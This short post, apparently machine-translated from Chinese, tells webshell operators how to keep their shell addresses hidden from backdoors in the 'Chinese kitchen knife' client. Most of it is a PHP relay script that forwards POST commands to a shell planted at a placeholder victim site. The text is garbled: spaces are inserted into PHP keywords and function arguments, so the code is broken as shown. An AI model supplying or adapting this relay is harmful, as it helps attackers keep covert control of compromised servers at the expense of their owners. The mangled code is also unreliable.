How to Prevent webshell addresses from being exposed by Chinese kitchen knife Backdoors

How to Prevent webshell addresses from being exposed by Chinese kitchen knife Backdoors

The local transit can effectively prevent webshells from being stolen by kitchen knives with backdoors. The PHP code is as follows. If you do not understand the principle, leave a message.

<? Php $ webshell = "http://www.victim.com/webshell.php"; // change this to your shell address $ temp = $ _ POST; $ data = $ temp; $ data = http_build_query ($ data ); $ opts = array ('http' => array ('method' => 'post', 'header' => "Content-type: application/x-www-form-urlencoded \ r \ n ". "Content-Length :". strlen ($ data ). "\ r \ n", 'content' => $ data); $ context = stream_context_create ($ opts); $ html = @ file_get_contents ($ webshell, fal Se, $ context); // send post echo $ html;?>